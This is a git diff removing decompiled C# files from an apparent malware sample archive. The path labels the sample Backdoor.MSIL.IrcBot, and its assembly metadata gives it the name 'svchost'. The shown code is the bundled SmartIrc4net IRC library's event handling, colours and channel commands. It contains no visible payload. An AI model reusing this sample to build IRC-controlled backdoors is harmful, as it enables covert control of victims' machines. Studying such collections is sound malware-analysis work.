- if (this.ActiveChannelSyncing && this.GetChannelUser(ircdata.Channel, current5) != null)
- {
- channel.UnsafeOps.Remove((object) current5);
- this.GetChannelUser(ircdata.Channel, current5).IsOp = false;
- }
- if (this.OnDeop != null)
- {
- this.OnDeop((object) this, new DeopEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current5));
- break;
- }
- break;
- }
- break;
- case 'v':
- string current6 = (string) enumerator.Current;
- enumerator.MoveNext();
- if (flag1)
- {
- if (this.ActiveChannelSyncing)
- {
- if (this.GetChannelUser(ircdata.Channel, current6) != null)
- {
- try
- {
- channel.UnsafeVoices.Add((object) current6, (object) this.GetIrcUser(current6));
- }
- catch (ArgumentException ex)
- {
- }
- this.GetChannelUser(ircdata.Channel, current6).IsVoice = true;
- }
- }
- if (this.OnVoice != null)
- this.OnVoice((object) this, new VoiceEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current6));
- }
- if (flag2)
- {
- if (this.ActiveChannelSyncing && this.GetChannelUser(ircdata.Channel, current6) != null)
- {
- channel.UnsafeVoices.Remove((object) current6);
- this.GetChannelUser(ircdata.Channel, current6).IsVoice = false;
- }
- if (this.OnDevoice != null)
- {
- this.OnDevoice((object) this, new DevoiceEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current6));
- break;
- }
- break;
- }
- break;
- default:
- if (flag1 && this.ActiveChannelSyncing && channel.Mode.IndexOf(mode[index]) == -1)
- channel.Mode += (string) (object) mode[index];
- if (flag2 && this.ActiveChannelSyncing)
- {
- channel.Mode = channel.Mode.Replace(mode[index].ToString(), string.Empty);
- break;
- }
- break;
- }
- }
- }
-
- private void _Event_PING(IrcMessageData ircdata)
- {
- string str = ircdata.RawMessageArray[1].Substring(1);
- this.RfcPong(str, Priority.Critical);
- if (this.OnPing == null)
- return;
- this.OnPing((object) this, new PingEventArgs(ircdata, str));
- }
-
- private void _Event_PONG(IrcMessageData ircdata)
- {
- if (this.OnPong == null)
- return;
- this.OnPong((object) this, new PongEventArgs(ircdata, ircdata.Irc.Lag));
- }
-
- private void _Event_ERROR(IrcMessageData ircdata)
- {
- string message = ircdata.Message;
- if (this.OnError == null)
- return;
- this.OnError((object) this, new ErrorEventArgs(ircdata, message));
- }
-
- private void _Event_JOIN(IrcMessageData ircdata)
- {
- string nick = ircdata.Nick;
- string channel1 = ircdata.Channel;
- if (this.IsMe(nick))
- this._JoinedChannels.Add(channel1);
- if (this.ActiveChannelSyncing)
- {
- if (this.IsMe(nick))
- {
- Channel channel2 = this.CreateChannel(channel1);
- this._Channels.Add((object) channel1, (object) channel2);
- this.RfcMode(channel1);
- this.RfcWho(channel1);
- this.Ban(channel1);
- }
- else
- this.RfcWho(nick);
- Channel channel3 = this.GetChannel(channel1);
- IrcUser ircUser = this.GetIrcUser(nick);
- if (ircUser == null)
- {
- ircUser = new IrcUser(nick, this);
- ircUser.Ident = ircdata.Ident;
- ircUser.Host = ircdata.Host;
- this._IrcUsers.Add((object) nick, (object) ircUser);
- }
- if (!(nick == "anonymous") || !(ircdata.Ident == "anonymous") || !(ircdata.Host == "anonymous.") || !this.IsJoined(channel1, nick))
- {
- ChannelUser channelUser = this.CreateChannelUser(channel1, ircUser);
- channel3.UnsafeUsers.Add((object) nick, (object) channelUser);
- }
- }
- if (this.OnJoin == null)
- return;
- this.OnJoin((object) this, new JoinEventArgs(ircdata, channel1, nick));
- }
-
- private void _Event_PART(IrcMessageData ircdata)
- {
- string nick = ircdata.Nick;
- string channel = ircdata.Channel;
- string message = ircdata.Message;
- if (this.IsMe(nick))
- this._JoinedChannels.Remove(channel);
- if (this.ActiveChannelSyncing)
- {
- if (this.IsMe(nick))
- this._Channels.Remove((object) channel);
- else if (!(nick == "anonymous") || !(ircdata.Ident == "anonymous") || !(ircdata.Host == "anonymous.") || this.IsJoined(channel, nick))
- {
- this._RemoveChannelUser(channel, nick);
- this._RemoveIrcUser(nick);
- }
- }
- if (this.OnPart == null)
- return;
- this.OnPart((object) this, new PartEventArgs(ircdata, channel, nick, message));
- }
-
- private void _Event_KICK(IrcMessageData ircdata)
- {
- string channel1 = ircdata.Channel;
- string nick = ircdata.Nick;
- string rawMessage = ircdata.RawMessageArray[3];
- string message = ircdata.Message;
- bool flag = this.IsMe(rawMessage);
- if (flag)
- this._JoinedChannels.Remove(channel1);
- if (this.ActiveChannelSyncing)
- {
- if (flag)
- {
- Channel channel2 = this.GetChannel(channel1);
- this._Channels.Remove((object) channel1);
- if (this._AutoRejoinOnKick)
- this.RfcJoin(channel2.Name, channel2.Key);
- }
- else
- {
- this._RemoveChannelUser(channel1, rawMessage);
- this._RemoveIrcUser(rawMessage);
- }
- }
- else if (flag && this.AutoRejoinOnKick)
- this.RfcJoin(channel1);
- if (this.OnKick == null)
- return;
- this.OnKick((object) this, new KickEventArgs(ircdata, channel1, nick, rawMessage, message));
- }
-
- private void _Event_QUIT(IrcMessageData ircdata)
- {
- string nick = ircdata.Nick;
- string message = ircdata.Message;
- if (this.ActiveChannelSyncing)
- {
- IrcUser ircUser = this.GetIrcUser(nick);
- if (ircUser != null)
- {
- string[] joinedChannels = ircUser.JoinedChannels;
- if (joinedChannels != null)
- {
- foreach (string channelname in joinedChannels)
- this._RemoveChannelUser(channelname, nick);
- this._RemoveIrcUser(nick);
- }
- }
- }
- if (this.OnQuit == null)
- return;
- this.OnQuit((object) this, new QuitEventArgs(ircdata, nick, message));
- }
-
- private void _Event_PRIVMSG(IrcMessageData ircdata)
- {
- switch (ircdata.Type)
- {
- case ReceiveType.ChannelMessage:
- if (this.OnChannelMessage == null)
- break;
- this.OnChannelMessage((object) this, new IrcEventArgs(ircdata));
- break;
- case ReceiveType.ChannelAction:
- if (this.OnChannelAction == null)
- break;
- string actionmsg1 = ircdata.Message.Substring(8, ircdata.Message.Length - 9);
- this.OnChannelAction((object) this, new ActionEventArgs(ircdata, actionmsg1));
- break;
- case ReceiveType.QueryMessage:
- if (this.OnQueryMessage == null)
- break;
- this.OnQueryMessage((object) this, new IrcEventArgs(ircdata));
- break;
- case ReceiveType.QueryAction:
- if (this.OnQueryAction == null)
- break;
- string actionmsg2 = ircdata.Message.Substring(8, ircdata.Message.Length - 9);
- this.OnQueryAction((object) this, new ActionEventArgs(ircdata, actionmsg2));
- break;
- case ReceiveType.CtcpRequest:
- if (this.OnCtcpRequest == null)
- break;
- int num = ircdata.Message.IndexOf(' ');
- string ctcpparam = "";
- string ctcpcmd;
- if (num != -1)
- {
- ctcpcmd = ircdata.Message.Substring(1, num - 1);
- ctcpparam = ircdata.Message.Substring(num + 1, ircdata.Message.Length - num - 2);
- }
- else
- ctcpcmd = ircdata.Message.Substring(1, ircdata.Message.Length - 2);
- this.OnCtcpRequest((object) this, new CtcpEventArgs(ircdata, ctcpcmd, ctcpparam));
- break;
- }
- }
-
- private void _Event_NOTICE(IrcMessageData ircdata)
- {
- switch (ircdata.Type)
- {
- case ReceiveType.ChannelNotice:
- if (this.OnChannelNotice == null)
- break;
- this.OnChannelNotice((object) this, new IrcEventArgs(ircdata));
- break;
- case ReceiveType.QueryNotice:
- if (this.OnQueryNotice == null)
- break;
- this.OnQueryNotice((object) this, new IrcEventArgs(ircdata));
- break;
- case ReceiveType.CtcpReply:
- if (this.OnCtcpReply == null)
- break;
- int num = ircdata.Message.IndexOf(' ');
- string ctcpparam = "";
- string ctcpcmd;
- if (num != -1)
- {
- ctcpcmd = ircdata.Message.Substring(1, num - 1);
- ctcpparam = ircdata.Message.Substring(num + 1, ircdata.Message.Length - num - 2);
- }
- else
- ctcpcmd = ircdata.Message.Substring(1, ircdata.Message.Length - 2);
- this.OnCtcpReply((object) this, new CtcpEventArgs(ircdata, ctcpcmd, ctcpparam));
- break;
- }
- }
-
- private void _Event_TOPIC(IrcMessageData ircdata)
- {
- string nick = ircdata.Nick;
- string channel = ircdata.Channel;
- string message = ircdata.Message;
- if (this.ActiveChannelSyncing && this.IsJoined(channel))
- this.GetChannel(channel).Topic = message;
- if (this.OnTopicChange == null)
- return;
- this.OnTopicChange((object) this, new TopicChangeEventArgs(ircdata, channel, nick, message));
- }
-
- private void _Event_NICK(IrcMessageData ircdata)
- {
- string nick = ircdata.Nick;
- string str = ircdata.RawMessageArray[2];
- if (str.StartsWith(":"))
- str = str.Substring(1);
- if (this.IsMe(ircdata.Nick))
- this._Nickname = str;
- if (this.ActiveChannelSyncing)
- {
- IrcUser ircUser = this.GetIrcUser(nick);
- if (ircUser != null)
- {
- string[] joinedChannels = ircUser.JoinedChannels;
- ircUser.Nick = str;
- this._IrcUsers.Remove((object) nick);
- this._IrcUsers.Add((object) str, (object) ircUser);
- foreach (string channelname in joinedChannels)
- {
- Channel channel = this.GetChannel(channelname);
- ChannelUser channelUser = this.GetChannelUser(channelname, nick);
- channel.UnsafeUsers.Remove((object) nick);
- channel.UnsafeUsers.Add((object) str, (object) channelUser);
- if (channelUser.IsOp)
- {
- channel.UnsafeOps.Remove((object) nick);
- channel.UnsafeOps.Add((object) str, (object) channelUser);
- }
- if (this.SupportNonRfc && ((NonRfcChannelUser) channelUser).IsHalfop)
- {
- NonRfcChannel nonRfcChannel = (NonRfcChannel) channel;
- nonRfcChannel.UnsafeHalfops.Remove((object) nick);
- nonRfcChannel.UnsafeHalfops.Add((object) str, (object) channelUser);
- }
- if (channelUser.IsVoice)
- {
- channel.UnsafeVoices.Remove((object) nick);
- channel.UnsafeVoices.Add((object) str, (object) channelUser);
- }
- }
- }
- }
- if (this.OnNickChange == null)
- return;
- this.OnNickChange((object) this, new NickChangeEventArgs(ircdata, nick, str));
- }
-
- private void _Event_INVITE(IrcMessageData ircdata)
- {
- string channel = ircdata.Channel;
- string nick = ircdata.Nick;
- if (this.AutoJoinOnInvite && channel.Trim() != "0")
- this.RfcJoin(channel);
- if (this.OnInvite == null)
- return;
- this.OnInvite((object) this, new InviteEventArgs(ircdata, channel, nick));
- }
-
- private void _Event_MODE(IrcMessageData ircdata)
- {
- if (this.IsMe(ircdata.RawMessageArray[2]))
- {
- this._Usermode = ircdata.RawMessageArray[3].Substring(1);
- }
- else
- {
- string rawMessage = ircdata.RawMessageArray[3];
- string parameter = string.Join(" ", ircdata.RawMessageArray, 4, ircdata.RawMessageArray.Length - 4);
- this._InterpretChannelMode(ircdata, rawMessage, parameter);
- }
- if (ircdata.Type == ReceiveType.UserModeChange && this.OnUserModeChange != null)
- this.OnUserModeChange((object) this, new IrcEventArgs(ircdata));
- if (ircdata.Type == ReceiveType.ChannelModeChange && this.OnChannelModeChange != null)
- this.OnChannelModeChange((object) this, new IrcEventArgs(ircdata));
- if (this.OnModeChange == null)
- return;
- this.OnModeChange((object) this, new IrcEventArgs(ircdata));
- }
-
- private void _Event_RPL_CHANNELMODEIS(IrcMessageData ircdata)
- {
- if (!this.ActiveChannelSyncing || !this.IsJoined(ircdata.Channel))
- return;
- this.GetChannel(ircdata.Channel).Mode = string.Empty;
- string rawMessage = ircdata.RawMessageArray[4];
- string parameter = string.Join(" ", ircdata.RawMessageArray, 5, ircdata.RawMessageArray.Length - 5);
- this._InterpretChannelMode(ircdata, rawMessage, parameter);
- }
-
- private void _Event_RPL_WELCOME(IrcMessageData ircdata)
- {
- this._Nickname = ircdata.RawMessageArray[2];
- if (this.OnRegistered == null)
- return;
- this.OnRegistered((object) this, EventArgs.Empty);
- }
-
- private void _Event_RPL_TOPIC(IrcMessageData ircdata)
- {
- string message = ircdata.Message;
- string channel = ircdata.Channel;
- if (this.ActiveChannelSyncing && this.IsJoined(channel))
- this.GetChannel(channel).Topic = message;
- if (this.OnTopic == null)
- return;
- this.OnTopic((object) this, new TopicEventArgs(ircdata, channel, message));
- }
-
- private void _Event_RPL_NOTOPIC(IrcMessageData ircdata)
- {
- string channel = ircdata.Channel;
- if (this.ActiveChannelSyncing && this.IsJoined(channel))
- this.GetChannel(channel).Topic = "";
- if (this.OnTopic == null)
- return;
- this.OnTopic((object) this, new TopicEventArgs(ircdata, channel, ""));
- }
-
- private void _Event_RPL_NAMREPLY(IrcMessageData ircdata)
- {
- string channel1 = ircdata.Channel;
- string[] strArray = ircdata.MessageArray;
- if (strArray == null)
- {
- if (ircdata.RawMessageArray.Length > 5)
- strArray = new string[1]
- {
- ircdata.RawMessageArray[5]
- };
- else
- strArray = new string[0];
- }
- if (this.ActiveChannelSyncing && this.IsJoined(channel1))
- {
- foreach (string str1 in strArray)
- {
- if (str1.Length > 0)
- {
- bool flag1 = false;
- bool flag2 = false;
- bool flag3 = false;
- string str2;
- switch (str1[0])
- {
- case '%':
- flag2 = true;
- str2 = str1.Substring(1);
- break;
- case '&':
- str2 = str1.Substring(1);
- break;
- case '+':
- flag3 = true;
- str2 = str1.Substring(1);
- break;
- case '@':
- flag1 = true;
- str2 = str1.Substring(1);
- break;
- case '~':
- str2 = str1.Substring(1);
- break;
- default:
- str2 = str1;
- break;
- }
- IrcUser ircUser = this.GetIrcUser(str2);
- ChannelUser channelUser = this.GetChannelUser(channel1, str2);
- if (ircUser == null)
- {
- ircUser = new IrcUser(str2, this);
- this._IrcUsers.Add((object) str2, (object) ircUser);
- }
- if (channelUser == null)
- {
- channelUser = this.CreateChannelUser(channel1, ircUser);
- Channel channel2 = this.GetChannel(channel1);
- channel2.UnsafeUsers.Add((object) str2, (object) channelUser);
- if (flag1)
- channel2.UnsafeOps.Add((object) str2, (object) channelUser);
- if (this.SupportNonRfc && flag2)
- ((NonRfcChannel) channel2).UnsafeHalfops.Add((object) str2, (object) channelUser);
- if (flag3)
- channel2.UnsafeVoices.Add((object) str2, (object) channelUser);
- }
- channelUser.IsOp = flag1;
- channelUser.IsVoice = flag3;
- if (this.SupportNonRfc)
- ((NonRfcChannelUser) channelUser).IsHalfop = flag2;
- }
- }
- }
- List stringList = new List(strArray.Length);
- foreach (string str in strArray)
- {
- if (!string.IsNullOrEmpty(str))
- {
- switch (str[0])
- {
- case '%':
- case '&':
- case '+':
- case '@':
- case '~':
- stringList.Add(str.Substring(1));
- continue;
- default:
- stringList.Add(str);
- continue;
- }
- }
- }
- if (this.OnNames == null)
- return;
- this.OnNames((object) this, new NamesEventArgs(ircdata, channel1, stringList.ToArray()));
- }
-
- private void _Event_RPL_LIST(IrcMessageData ircdata)
- {
- string channel = ircdata.Channel;
- int userCount = int.Parse(ircdata.RawMessageArray[4]);
- string message = ircdata.Message;
- ChannelInfo listInfo = (ChannelInfo) null;
- if (this.OnList != null || this._ChannelList != null)
- listInfo = new ChannelInfo(channel, userCount, message);
- if (this._ChannelList != null)
- this._ChannelList.Add(listInfo);
- if (this.OnList == null)
- return;
- this.OnList((object) this, new ListEventArgs(ircdata, listInfo));
- }
-
- private void _Event_RPL_LISTEND(IrcMessageData ircdata)
- {
- if (this._ChannelListReceivedEvent == null)
- return;
- this._ChannelListReceivedEvent.Set();
- }
-
- private void _Event_RPL_TRYAGAIN(IrcMessageData ircdata)
- {
- if (this._ChannelListReceivedEvent == null)
- return;
- this._ChannelListReceivedEvent.Set();
- }
-
- private void _Event_RPL_ENDOFNAMES(IrcMessageData ircdata)
- {
- string rawMessage = ircdata.RawMessageArray[3];
- if (!this.ActiveChannelSyncing || !this.IsJoined(rawMessage) || this.OnChannelPassiveSynced == null)
- return;
- this.OnChannelPassiveSynced((object) this, new IrcEventArgs(ircdata));
- }
-
- private void _Event_RPL_AWAY(IrcMessageData ircdata)
- {
- string rawMessage = ircdata.RawMessageArray[3];
- string message = ircdata.Message;
- if (this.ActiveChannelSyncing)
- {
- IrcUser ircUser = this.GetIrcUser(rawMessage);
- if (ircUser != null)
- ircUser.IsAway = true;
- }
- if (this.OnAway == null)
- return;
- this.OnAway((object) this, new AwayEventArgs(ircdata, rawMessage, message));
- }
-
- private void _Event_RPL_UNAWAY(IrcMessageData ircdata)
- {
- this._IsAway = false;
- if (this.OnUnAway == null)
- return;
- this.OnUnAway((object) this, new IrcEventArgs(ircdata));
- }
-
- private void _Event_RPL_NOWAWAY(IrcMessageData ircdata)
- {
- this._IsAway = true;
- if (this.OnNowAway == null)
- return;
- this.OnNowAway((object) this, new IrcEventArgs(ircdata));
- }
-
- private void _Event_RPL_WHOREPLY(IrcMessageData ircdata)
- {
- WhoInfo whoInfo = WhoInfo.Parse(ircdata);
- string channel = whoInfo.Channel;
- string nick = whoInfo.Nick;
- if (this._WhoList != null)
- this._WhoList.Add(whoInfo);
- if (this.ActiveChannelSyncing && this.IsJoined(channel))
- {
- IrcUser ircUser = this.GetIrcUser(nick);
- ChannelUser channelUser = this.GetChannelUser(channel, nick);
- if (ircUser != null)
- {
- ircUser.Ident = whoInfo.Ident;
- ircUser.Host = whoInfo.Host;
- ircUser.Server = whoInfo.Server;
- ircUser.Nick = whoInfo.Nick;
- ircUser.HopCount = whoInfo.HopCount;
- ircUser.Realname = whoInfo.Realname;
- ircUser.IsAway = whoInfo.IsAway;
- ircUser.IsIrcOp = whoInfo.IsIrcOp;
- ircUser.IsRegistered = whoInfo.IsRegistered;
- switch (channel[0])
- {
- case '!':
- case '#':
- case '&':
- case '+':
- if (channelUser != null)
- {
- channelUser.IsOp = whoInfo.IsOp;
- channelUser.IsVoice = whoInfo.IsVoice;
- break;
- }
- break;
- }
- }
- }
- if (this.OnWho == null)
- return;
- this.OnWho((object) this, new WhoEventArgs(ircdata, whoInfo));
- }
-
- private void _Event_RPL_ENDOFWHO(IrcMessageData ircdata)
- {
- if (this._WhoListReceivedEvent == null)
- return;
- this._WhoListReceivedEvent.Set();
- }
-
- private void _Event_RPL_MOTD(IrcMessageData ircdata)
- {
- if (!this._MotdReceived)
- this._Motd.Add(ircdata.Message);
- if (this.OnMotd == null)
- return;
- this.OnMotd((object) this, new MotdEventArgs(ircdata, ircdata.Message));
- }
-
- private void _Event_RPL_ENDOFMOTD(IrcMessageData ircdata) => this._MotdReceived = true;
-
- private void _Event_RPL_BANLIST(IrcMessageData ircdata)
- {
- string channel1 = ircdata.Channel;
- BanInfo banInfo = BanInfo.Parse(ircdata);
- if (this._BanList != null)
- this._BanList.Add(banInfo);
- if (!this.ActiveChannelSyncing || !this.IsJoined(channel1))
- return;
- Channel channel2 = this.GetChannel(channel1);
- if (channel2.IsSycned)
- return;
- channel2.Bans.Add(banInfo.Mask);
- }
-
- private void _Event_RPL_ENDOFBANLIST(IrcMessageData ircdata)
- {
- string channel1 = ircdata.Channel;
- if (this._BanListReceivedEvent != null)
- this._BanListReceivedEvent.Set();
- if (!this.ActiveChannelSyncing || !this.IsJoined(channel1))
- return;
- Channel channel2 = this.GetChannel(channel1);
- if (channel2.IsSycned)
- return;
- channel2.ActiveSyncStop = DateTime.Now;
- channel2.IsSycned = true;
- if (this.OnChannelActiveSynced == null)
- return;
- this.OnChannelActiveSynced((object) this, new IrcEventArgs(ircdata));
- }
-
- private void _Event_ERR_NOCHANMODES(IrcMessageData ircdata)
- {
- string rawMessage = ircdata.RawMessageArray[3];
- if (!this.ActiveChannelSyncing || !this.IsJoined(rawMessage))
- return;
- Channel channel = this.GetChannel(rawMessage);
- if (channel.IsSycned)
- return;
- channel.ActiveSyncStop = DateTime.Now;
- channel.IsSycned = true;
- if (this.OnChannelActiveSynced == null)
- return;
- this.OnChannelActiveSynced((object) this, new IrcEventArgs(ircdata));
- }
-
- private void _Event_ERR(IrcMessageData ircdata)
- {
- if (this.OnErrorMessage == null)
- return;
- this.OnErrorMessage((object) this, new IrcEventArgs(ircdata));
- }
-
- private void _Event_ERR_NICKNAMEINUSE(IrcMessageData ircdata)
- {
- if (!this.AutoNickHandling)
- return;
- string newnickname;
- if (this._CurrentNickname == this.NicknameList.Length - 1)
- {
- int num = new Random().Next(999);
- newnickname = this.Nickname.Length <= 5 ? this.Nickname.Substring(0, this.Nickname.Length - 1) + (object) num : this.Nickname.Substring(0, 5) + (object) num;
- }
- else
- newnickname = this._NextNickname();
- this.RfcNick(newnickname, Priority.Critical);
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcColors.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcColors.cs
deleted file mode 100644
index 346f8e5f..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcColors.cs
+++ /dev/null
@@ -1,29 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.IrcColors
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public enum IrcColors
- {
- White = 0,
- Black = 1,
- Blue = 2,
- Green = 3,
- LightRed = 4,
- Brown = 5,
- Purple = 6,
- Orange = 7,
- Yellow = 8,
- LightGreen = 9,
- Cyan = 10, // 0x0000000A
- LightCyan = 11, // 0x0000000B
- LightBlue = 12, // 0x0000000C
- Pink = 13, // 0x0000000D
- Grey = 14, // 0x0000000E
- LightGrey = 15, // 0x0000000F
- Transparent = 99, // 0x00000063
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcCommands.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcCommands.cs
deleted file mode 100644
index 7804359e..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcCommands.cs
+++ /dev/null
@@ -1,601 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.IrcCommands
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Collections.Generic;
-
-namespace Meebey.SmartIrc4net
-{
- public class IrcCommands : IrcConnection
- {
- private int _MaxModeChanges = 3;
-
- protected int MaxModeChanges
- {
- get => this._MaxModeChanges;
- set => this._MaxModeChanges = value;
- }
-
- public void SendMessage(SendType type, string destination, string message, Priority priority)
- {
- switch (type)
- {
- case SendType.Message:
- this.RfcPrivmsg(destination, message, priority);
- break;
- case SendType.Action:
- this.RfcPrivmsg(destination, "\u0001ACTION " + message + "\u0001", priority);
- break;
- case SendType.Notice:
- this.RfcNotice(destination, message, priority);
- break;
- case SendType.CtcpReply:
- this.RfcNotice(destination, "\u0001" + message + "\u0001", priority);
- break;
- case SendType.CtcpRequest:
- this.RfcPrivmsg(destination, "\u0001" + message + "\u0001", priority);
- break;
- }
- }
-
- public void SendMessage(SendType type, string destination, string message) => this.SendMessage(type, destination, message, Priority.Medium);
-
- public void SendReply(IrcMessageData data, string message, Priority priority)
- {
- switch (data.Type)
- {
- case ReceiveType.ChannelMessage:
- this.SendMessage(SendType.Message, data.Channel, message, priority);
- break;
- case ReceiveType.QueryMessage:
- this.SendMessage(SendType.Message, data.Nick, message, priority);
- break;
- case ReceiveType.QueryNotice:
- this.SendMessage(SendType.Notice, data.Nick, message, priority);
- break;
- }
- }
-
- public void SendReply(IrcMessageData data, string message) => this.SendReply(data, message, Priority.Medium);
-
- public void Op(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+o " + nickname), priority);
-
- public void Op(string channel, string[] nicknames)
- {
- string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
- for (int index = 0; index < nicknames.Length; ++index)
- newModes[index] = "+o";
- this.Mode(channel, newModes, nicknames);
- }
-
- public void Op(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+o " + nickname));
-
- public void Deop(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-o " + nickname), priority);
-
- public void Deop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-o " + nickname));
-
- public void Deop(string channel, string[] nicknames)
- {
- string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
- for (int index = 0; index < nicknames.Length; ++index)
- newModes[index] = "-o";
- this.Mode(channel, newModes, nicknames);
- }
-
- public void Voice(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+v " + nickname), priority);
-
- public void Voice(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+v " + nickname));
-
- public void Voice(string channel, string[] nicknames)
- {
- string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
- for (int index = 0; index < nicknames.Length; ++index)
- newModes[index] = "+v";
- this.Mode(channel, newModes, nicknames);
- }
-
- public void Devoice(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-v " + nickname), priority);
-
- public void Devoice(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-v " + nickname));
-
- public void Devoice(string channel, string[] nicknames)
- {
- string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
- for (int index = 0; index < nicknames.Length; ++index)
- newModes[index] = "-v";
- this.Mode(channel, newModes, nicknames);
- }
-
- public void Ban(string channel, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+b"), priority);
-
- public void Ban(string channel) => this.WriteLine(Rfc2812.Mode(channel, "+b"));
-
- public void Ban(string channel, string hostmask, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+b " + hostmask), priority);
-
- public void Ban(string channel, string hostmask) => this.WriteLine(Rfc2812.Mode(channel, "+b " + hostmask));
-
- public void Ban(string channel, string[] hostmasks)
- {
- string[] newModes = hostmasks != null ? new string[hostmasks.Length] : throw new ArgumentNullException(nameof (hostmasks));
- for (int index = 0; index < hostmasks.Length; ++index)
- newModes[index] = "+b";
- this.Mode(channel, newModes, hostmasks);
- }
-
- public void Unban(string channel, string hostmask, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-b " + hostmask), priority);
-
- public void Unban(string channel, string hostmask) => this.WriteLine(Rfc2812.Mode(channel, "-b " + hostmask));
-
- public void Unban(string channel, string[] hostmasks)
- {
- string[] newModes = hostmasks != null ? new string[hostmasks.Length] : throw new ArgumentNullException(nameof (hostmasks));
- for (int index = 0; index < hostmasks.Length; ++index)
- newModes[index] = "-b";
- this.Mode(channel, newModes, hostmasks);
- }
-
- public void Halfop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+h " + nickname));
-
- public void Halfop(string channel, string[] nicknames)
- {
- string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
- for (int index = 0; index < nicknames.Length; ++index)
- newModes[index] = "+h";
- this.Mode(channel, newModes, nicknames);
- }
-
- public void Dehalfop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-h " + nickname));
-
- public void Dehalfop(string channel, string[] nicknames)
- {
- string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
- for (int index = 0; index < nicknames.Length; ++index)
- newModes[index] = "-h";
- this.Mode(channel, newModes, nicknames);
- }
-
- public void Mode(string target, string[] newModes, string[] newModeParameters)
- {
- if (target == null)
- throw new ArgumentNullException(nameof (target));
- if (newModes == null)
- throw new ArgumentNullException(nameof (newModes));
- if (newModeParameters == null)
- throw new ArgumentNullException(nameof (newModeParameters));
- if (newModes.Length == 0)
- throw new ArgumentException("newModes must not be empty.", nameof (newModes));
- if (newModeParameters.Length == 0)
- throw new ArgumentException("newModeParameters must not be empty.", nameof (newModeParameters));
- if (newModes.Length != newModeParameters.Length)
- throw new ArgumentException("newModes and newModeParameters must have the same size.", nameof (newModes));
- int maxModeChanges = this._MaxModeChanges;
- for (int index1 = 0; index1 < newModes.Length; index1 += maxModeChanges)
- {
- List stringList1 = new List(maxModeChanges);
- List stringList2 = new List(maxModeChanges);
- for (int index2 = 0; index2 < maxModeChanges && index1 + index2 < newModes.Length; ++index2)
- {
- stringList1.Add(newModes[index1 + index2]);
- stringList2.Add(newModeParameters[index1 + index2]);
- }
- this.WriteLine(Rfc2812.Mode(target, stringList1.ToArray(), stringList2.ToArray()));
- }
- }
-
- public void RfcPass(string password, Priority priority) => this.WriteLine(Rfc2812.Pass(password), priority);
-
- public void RfcPass(string password) => this.WriteLine(Rfc2812.Pass(password));
-
- public void RfcUser(string username, int usermode, string realname, Priority priority) => this.WriteLine(Rfc2812.User(username, usermode, realname), priority);
-
- public void RfcUser(string username, int usermode, string realname) => this.WriteLine(Rfc2812.User(username, usermode, realname));
-
- public void RfcOper(string name, string password, Priority priority) => this.WriteLine(Rfc2812.Oper(name, password), priority);
-
- public void RfcOper(string name, string password) => this.WriteLine(Rfc2812.Oper(name, password));
-
